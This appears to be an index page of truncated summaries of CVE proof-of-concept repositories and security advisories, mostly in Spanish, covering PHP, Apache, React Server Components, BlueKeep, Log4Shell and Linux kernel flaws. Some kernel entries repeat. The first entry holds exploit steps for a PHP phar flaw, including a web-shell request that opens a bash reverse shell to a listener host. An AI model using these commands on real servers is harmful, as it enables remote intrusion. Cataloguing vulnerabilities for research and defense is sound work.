cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited Apache HTTP Server CVE-2021-41773 Exploited in the Wild CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 incomplete fix of CVE-2021-41773 Shodan oneliner...

CVE-2025-55184

PoC de React2Shell Este repositorio proporciona un entorno mínimo intencionalmente vulnerable para probar escáneres de seguridad contra la reciente vulnerabilidad crítica de RCE React2Shell que afecta a React Server Components y Next.js. CVE-2025-55182 : Existe una vulnerabilidad de ejecución...

bluekeep

CVE-2019-0708 alias Bluekeep Escáner Un escáner simple para determinar la vulnerabilidad del sistema a CVE-2019-0708. Este es un puerto en Python del escáner del módulo original de metasploit por JaGoTu y zerosum0x0, disponible en Github aquí. Prueba de Concepto Prueba de concepto de RCE mediante...

CVE-2025-55349

CVE-2025-55349 — Ejecución de código arbitrario en pm2 mediante postinstall Descubridor : Golden Ticket Labs Proveedor : Unitech pm2 Fecha de asignación : 20 de agosto de 2025 MITRE Descripción Un problema en el componente lib/API/Modules/NPM.js de Unitech PM2 v5.4.2 permite la ejecución de códig...

Node.js-CVE-2017-5941

Demostración de Vulnerabilidad de Deserialización Insegura en NodeJS Node.js es un entorno de ejecución de código abierto utilizado para implementar funcionalidad de servidor en JavaScript. Un paquete de software específico dentro de Node.js contiene una función vulnerable que maneja la...

cve-2019-19781

CVE-2019-19781 Esto se subió únicamente porque otros investigadores publicaron su código primero. Habríamos preferido mantenerlo oculto por más tiempo mientras los defensores tenían tiempo adecuado para parchear sus sistemas. Estamos a favor de la divulgación responsable; en este caso, el gato ya...

nmap_draytek_rce

nmapdraytekrce script de nmap para detectar CVE-2020-8515 en dispositivos Draytek...

kernel: Bluetooth: hci_event: fix potential UAF in SSP passkey handlers

A flaw was found in the Linux kernel's Bluetooth subsystem. This vulnerability, a Use-After-Free UAF, exists within the Secure Simple Pairing SSP passkey handlers. It occurs when hciconn lookup and field access are performed without proper locking, allowing a connection to be freed concurrently...

kernel: USB: serial: io_ti: fix heap overflow in get_manuf_info()

A flaw was found in the Linux kernel's ioti USB serial driver. A malicious USB device, when plugged into a host running this driver, can exploit a heap overflow vulnerability in the getmanufinfo function. This occurs because the driver does not properly validate the size of data read from the...

Log4shell

Informe de análisis Log4Shell de Igloo Corporation, Won Chi-hyun Log4shell CVE-2021-44228 Log4j es un registro gratuito y de código abierto de la Apache Software Foundation, basado en Java y aplicable a todas las aplicaciones. Registra los logs de diversos servicios basados en Java y proporciona...

kernel: Bluetooth: hci_event: fix potential UAF in SSP passkey handlers

A flaw was found in the Linux kernel's Bluetooth subsystem. This vulnerability, a Use-After-Free UAF, exists within the Secure Simple Pairing SSP passkey handlers. It occurs when hciconn lookup and field access are performed without proper locking, allowing a connection to be freed concurrently...

kernel: USB: serial: io_ti: fix heap overflow in get_manuf_info()

A flaw was found in the Linux kernel's ioti USB serial driver. A malicious USB device, when plugged into a host running this driver, can exploit a heap overflow vulnerability in the getmanufinfo function. This occurs because the driver does not properly validate the size of data read from the...

kernel: can:bcm: arbitrary kernel code execution leading to escalate privileges

A flaw was found in the Linux kernel in net/can/bcm.c in can: bcm, where an unprivileged local user can exploit this vulnerability to execute arbitrary code within the kernel, which leads to a local privilege escalation LPE. This allows the attacker to gain root privileges and take full control o...

kernel: ipv6: fix possible UAF in icmpv6_rcv()

A flaw was found in the Linux kernel's IPv6 Internet Protocol version 6 implementation. This vulnerability, a Use-After-Free UAF error, occurs due to incorrect caching of network packet addresses before a memory operation. An attacker could potentially exploit this flaw to cause memory corruption...

Important: Red Hat Security Advisory: kernel security, bug fix, and enhancement update

An update for kernel is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support and Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerabilit...

kernel: can:bcm: arbitrary kernel code execution leading to escalate privileges

A flaw was found in the Linux kernel in net/can/bcm.c in can: bcm, where an unprivileged local user can exploit this vulnerability to execute arbitrary code within the kernel, which leads to a local privilege escalation LPE. This allows the attacker to gain root privileges and take full control o...

kernel: USB: serial: io_ti: fix heap overflow in get_manuf_info()

A flaw was found in the Linux kernel's ioti USB serial driver. A malicious USB device, when plugged into a host running this driver, can exploit a heap overflow vulnerability in the getmanufinfo function. This occurs because the driver does not properly validate the size of data read from the...

ds3-nrssr-rce

Actualización: Dark Souls III 1.15.1 Se ha lanzado una nueva actualización del juego, la 1.15.1, para Dark Souls III el 25/08/2022, junto con la restauración de los servicios en línea. Esta actualización corrigió tanto CVE-2022-24125 como CVE-2022-24126 , junto con una amplia variedad de otras...

php-cgi-cve-2024-4577

php-cgi-cve-2024-4577 php-cgi-cve-2024-4577 Vulnerabilidad de ejecución remota de código que ocurre en el modo CGI de PHP registrada en la detección de eventos de inyección de argumentos PHP-CGI CVE-2024-4577 desde IP externa hacia servidor interno. Cuando PHP se ejecuta en modo CGI en un entorno...